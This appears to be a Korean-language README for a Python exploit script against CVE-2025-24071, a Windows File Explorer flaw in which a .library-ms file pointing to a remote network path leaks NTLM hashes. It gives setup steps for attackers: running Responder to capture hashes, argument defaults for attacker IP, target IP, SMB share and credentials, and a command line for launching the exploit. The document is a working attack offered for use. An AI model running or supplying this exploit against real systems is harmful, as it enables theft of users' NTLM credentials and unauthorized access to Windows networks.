
CVE-2025-24071을 실행하는 Python 스크립트
이 프로젝트는 Windows 파일 탐색기 스푸핑 취약점을 탐지하고 익스플로잇을 시연합니다.
이 문제는 네트워크 경로를 포함한 **Windows 라이브러리 파일(.library-ms)**이 직접 첨부되거나 아카이브에 포함되어 있을 때 발생합니다.
파일이 열리면 Windows가 원격(잠재적으로 악의적인) 네트워크 위치로 NTLM 해시를 유출할 수 있습니다.
공격자 시스템에서 Responder를 실행하여 NTLM 해시를 캡처하세요:
sudo responder -I tun0 -wvF
스크립트는 두 가지 방법으로 설정할 수 있습니다:
✅ 옵션 A: 기본값 편집 (가장 쉬움)
스크립트 내에서 기본 매개변수를 직접 수정하세요.
parser.add_argument("--attacker-ip", default="10.10.14.14", help="Attacker's IP") #your IP
parser.add_argument("--target-ip", default="10.129.232.88", help="Target's IP") #target IP
parser.add_argument("--share-name", default="IT", help="SMB share name") #name of the share you have access to without the /
parser.add_argument("--username", default="USERNAME", help="SMB username") #username of the share owner
parser.add_argument("--password", default="PASSWORD", help="SMB password") #password of the share owner
parser.add_argument("--interface", default="tun0", help="Responder network interface") #check ifconfig but tun0 will work if you're on a vpn
return parser.parse_args()
✅ 옵션 B: CLI 매개변수로 실행
인자와 함께 실행하세요:
python3 CVE-2025-24071.py \
--attacker-ip <ATTACKER_IP> \
--target-ip <TARGET_IP> \
--share-name <SHARE_NAME> \
--username <USERNAME> \
--password <PASSWORD> \
--interface <INTERFACE>